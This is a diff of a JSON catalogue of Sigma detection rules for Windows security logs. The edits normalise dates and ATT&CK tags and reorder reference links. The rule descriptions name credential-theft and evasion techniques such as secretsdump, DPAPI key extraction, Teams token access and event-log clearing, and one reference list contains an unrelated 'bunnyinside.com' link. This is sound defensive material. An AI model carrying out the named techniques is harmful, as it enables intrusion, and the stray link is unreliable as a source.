"https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dot_net_etw_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112", "attack.t1562" ] @@ -59043,7 +59149,7 @@ "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", "meta": { "author": "Florian Roth (Nextron Systems), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", - "creation_date": "2017/03/07", + "creation_date": "2017-03-07", "falsepositive": [ "Administrator activity" ], @@ -59085,7 +59191,7 @@ "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" ], @@ -59094,13 +59200,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/menasec1/status/1106899890377052160", "https://www.secureworks.com/blog/ransomware-as-a-distraction", + "https://twitter.com/menasec1/status/1106899890377052160", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" ], "tags": [ "attack.persistence", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1053.005" ] }, @@ -59120,7 +59226,7 @@ "description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "meta": { "author": "Connor Martin, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "The rule doesn't look for anything suspicious so false positives are expected. If you use one of the tools mentioned, comment it out" ], @@ -59161,7 +59267,7 @@ "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", "meta": { "author": "@neu5ron", - "creation_date": "2017/04/13", + "creation_date": "2017-04-13", "falsepositive": [ "Unknown" ], @@ -59170,9 +59276,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://msdn.microsoft.com/en-us/library/cc220234.aspx", "https://adsecurity.org/?p=3466", "https://blog.harmj0y.net/redteaming/another-word-on-delegation/", + "https://msdn.microsoft.com/en-us/library/cc220234.aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" ], "tags": [ @@ -59196,7 +59302,7 @@ "description": "Detects powershell script installed as a Service", "meta": { "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unknown" ], @@ -59229,7 +59335,7 @@ "description": "Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.\n", "meta": { "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Web Browsers and third party application might generate similar activity. An initial baseline is required." ], @@ -59242,7 +59348,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1558.003" ] }, @@ -59262,7 +59368,7 @@ "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -59275,7 +59381,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -59304,7 +59410,7 @@ "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "meta": { "author": "Florian Roth (Nextron Systems), Wojciech Lesicki", - "creation_date": "2021/05/26", + "creation_date": "2021-05-26", "falsepositive": [ "Unknown" ], @@ -59313,15 +59419,15 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://www.sans.org/webcasts/119395", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" ], "tags": [ "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", + "attack.privilege-escalation", + "attack.lateral-movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" @@ -59357,7 +59463,7 @@ "description": "Detects DCShadow via create new SPN", "meta": { "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Valid on domain controllers; exclude known DCs" ], @@ -59367,12 +59473,12 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://web.archive.org/web/20180203014709/https://blog.alsid.eu/dcshadow-explained-4510f52fc19d?gi=c426ac876c48", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", - "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1207" ] }, @@ -59392,7 +59498,7 @@ "description": "Detects the mount of an ISO image on an endpoint", "meta": { "author": "Syed Hasan (@syedhasan009)", - "creation_date": "2021/05/29", + "creation_date": "2021-05-29", "falsepositive": [ "Software installation ISO files" ], @@ -59401,14 +59507,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", "https://twitter.com/MsftSecIntel/status/1257324139515269121", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -59428,7 +59534,7 @@ "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/05/03", + "creation_date": "2021-05-03", "falsepositive": [ "Unknown" ], @@ -59461,7 +59567,7 @@ "description": "Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.\n", "meta": { "author": "Patrick Bareiss", - "creation_date": "2019/04/18", + "creation_date": "2019-04-18", "falsepositive": [ "Domain Controller Logs", "Local accounts managed by privileged account management tools" @@ -59495,7 +59601,7 @@ "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -59510,7 +59616,7 @@ "tags": [ "attack.execution", "attack.t1047", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -59537,7 +59643,7 @@ "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", + "creation_date": "2019-08-10", "falsepositive": [ "Unknown" ], @@ -59550,7 +59656,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -59570,7 +59676,7 @@ "description": "Detects renaming of file while deletion with SDelete tool.", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/06/14", + "creation_date": "2017-06-14", "falsepositive": [ "Legitimate usage of SDelete" ], @@ -59579,14 +59685,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", - "https://learn.microsoft.com/en-gb/sysinternals/downloads/sdelete", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://learn.microsoft.com/en-gb/sysinternals/downloads/sdelete", + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" ], "tags": [ "attack.impact", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004", "attack.t1027.005", "attack.t1485", @@ -59631,7 +59737,7 @@ "description": "Detects possible addition of shadow credentials to an active directory object.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Elastic (idea)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" ], @@ -59640,13 +59746,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1581300963650187264?", - "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", + "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", + "https://twitter.com/SBousseaden/status/1581300963650187264?", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1556" ] }, @@ -59666,7 +59772,7 @@ "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", + "creation_date": "2021-08-26", "falsepositive": [ "Unknown" ], @@ -59700,7 +59806,7 @@ "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", "meta": { "author": "@neu5ron", - "creation_date": "2017/07/30", + "creation_date": "2017-07-30", "falsepositive": [ "Unknown" ], @@ -59714,7 +59820,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -59734,7 +59840,7 @@ "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "meta": { "author": "@SerkinValery", - "creation_date": "2022/09/16", + "creation_date": "2022-09-16", "falsepositive": [ "Unknown" ], @@ -59743,12 +59849,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -59768,7 +59874,7 @@ "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", "meta": { "author": "@neu5ron", - "creation_date": "2019/02/05", + "creation_date": "2019-02-05", "falsepositive": [ "HyperV or other virtualization technologies with binary not listed in filter portion of detection" ], @@ -59777,13 +59883,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4616", "Live environment caused by malware", - "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.006" ] }, @@ -59803,7 +59909,7 @@ "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "meta": { "author": "Tim Shelton (HAWK.IO)", - "creation_date": "2021/12/06", + "creation_date": "2021-12-06", "falsepositive": [ "Read only access list authority" ], @@ -59836,7 +59942,7 @@ "description": "Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators\n", "meta": { "author": "Stamatis Chatzimangou (st0pp3r)", - "creation_date": "2024/01/05", + "creation_date": "2024-01-05", "falsepositive": [ "Unknown" ], @@ -59845,14 +59951,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/deepinstinct/NoFilter", - "https://github.com/deepinstinct/NoFilter/blob/121d215ab130c5e8e3ad45a7e7fcd56f4de97b4d/NoFilter/Consts.cpp", "https://www.deepinstinct.com/blog/nofilter-abusing-windows-filtering-platform-for-privilege-escalation", + "https://github.com/deepinstinct/NoFilter/blob/121d215ab130c5e8e3ad45a7e7fcd56f4de97b4d/NoFilter/Consts.cpp", "https://x.com/_st0pp3r_/status/1742203752361128162?s=20", + "https://github.com/deepinstinct/NoFilter", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hktl_nofilter.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134", "attack.t1134.001" ] @@ -59880,7 +59986,7 @@ "description": "Rule to detect the Hybrid Connection Manager service installation.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", + "creation_date": "2021-04-12", "falsepositive": [ "Legitimate use of Hybrid Connection Manager via Azure function apps." ], @@ -59913,7 +60019,7 @@ "description": "Detects potential attempts made to set the Directory Services Restore Mode administrator password.\nThe Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers.\nAttackers may change the password in order to obtain persistence.\n", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "Initial installation of a domain controller." ], @@ -59922,8 +60028,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794", "https://adsecurity.org/?p=1714", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" ], "tags": [ @@ -59947,7 +60053,7 @@ "description": "Detect AD credential dumping using impacket secretdump HKTL", "meta": { "author": "Samir Bousseaden, wagga", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Unknown" ], @@ -59956,11 +60062,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.004", "attack.t1003.003" @@ -59996,7 +60102,7 @@ "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/01/10", + "creation_date": "2017-01-10", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" @@ -60006,13 +60112,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://twitter.com/deviouspolack/status/832535435960209408", "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml", + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_audit_log_cleared.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.001", "car.2016-04-002" ] @@ -60033,7 +60139,7 @@ "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/07/14", + "creation_date": "2020-07-14", "falsepositive": [ "Unknown" ], @@ -60042,14 +60148,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", "https://twitter.com/Flangvik/status/1283054508084473861", - "https://twitter.com/SecurityJosh/status/1283027365770276866", "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", - "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", + "https://twitter.com/SecurityJosh/status/1283027365770276866", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -60069,7 +60175,7 @@ "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Unknown" ], @@ -60078,11 +60184,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -60102,7 +60208,7 @@ "description": "Detects external disk drives or plugged-in USB devices.", "meta": { "author": "Keith Wright", - "creation_date": "2019/11/20", + "creation_date": "2019-11-20", "falsepositive": [ "Likely" ], @@ -60117,8 +60223,8 @@ "tags": [ "attack.t1091", "attack.t1200", - "attack.lateral_movement", - "attack.initial_access" + "attack.lateral-movement", + "attack.initial-access" ] }, "related": [ @@ -60144,7 +60250,7 @@ "description": "Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/07/26", + "creation_date": "2019-07-26", "falsepositive": [ "Unknown" ], @@ -60153,13 +60259,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/library/windows/active_directory_replication.html", - "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html", + "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html", + "https://threathunterplaybook.com/library/windows/active_directory_replication.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_replication_non_machine_account.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.006" ] }, @@ -60179,7 +60285,7 @@ "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", "meta": { "author": "frack113", - "creation_date": "2022/10/14", + "creation_date": "2022-10-14", "falsepositive": [ "Unknown" ], @@ -60188,13 +60294,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4741", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4743", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1207" ] }, @@ -60214,7 +60320,7 @@ "description": "Detects \"read access\" requests on the services registry key.\nAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.\n", "meta": { "author": "Center for Threat Informed Defense (CTID) Summiting the Pyramid Team", - "creation_date": "2023/09/28", + "creation_date": "2023-09-28", "falsepositive": [ "Likely from legitimate applications reading their key. Requires heavy tuning" ], @@ -60223,14 +60329,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", "https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_registry_permissions_weakness_check.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -60250,7 +60356,7 @@ "description": "Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", + "creation_date": "2019-08-10", "falsepositive": [ "If a computer is a member of a domain, DPAPI has a backup mechanism to allow unprotection of the data. Which will trigger this event." ], @@ -60263,7 +60369,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_masterkey_backup_attempt.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.004" ] }, @@ -60283,7 +60389,7 @@ "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -60296,7 +60402,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.t1021.003" ] @@ -60324,7 +60430,7 @@ "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/05/09", + "creation_date": "2022-05-09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], @@ -60337,8 +60443,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" ], "tags": [ - "attack.command_and_control", - "attack.defense_evasion", + "attack.command-and-control", + "attack.defense-evasion", "attack.t1027", "attack.t1105", "attack.t1036" @@ -60374,7 +60480,7 @@ "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "Unknown" ], @@ -60383,11 +60489,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", + "https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_atsvc_task.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.persistence", "car.2013-05-004", "car.2015-04-001", @@ -60410,7 +60516,7 @@ "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -60423,7 +60529,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_clip_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -60452,7 +60558,7 @@ "description": "Detects potential use of Rubeus via registered new trusted logon process", "meta": { "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown" ], @@ -60465,8 +60571,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.t1558.003" ] }, @@ -60486,7 +60592,7 @@ "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -60499,7 +60605,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -60528,7 +60634,7 @@ "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", "meta": { "author": "James Pemberton / @4A616D6573", - "creation_date": "2019/10/31", + "creation_date": "2019-10-31", "falsepositive": [ "Unknown" ], @@ -60569,7 +60675,7 @@ "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", "meta": { "author": "xknow @xknow_infosec", - "creation_date": "2019/03/24", + "creation_date": "2019-03-24", "falsepositive": [ "Companies, who may use these default LDAP-Attributes for personal information" ], @@ -60578,14 +60684,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/fox-it/LDAPFragger", - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://github.com/fox-it/LDAPFragger", 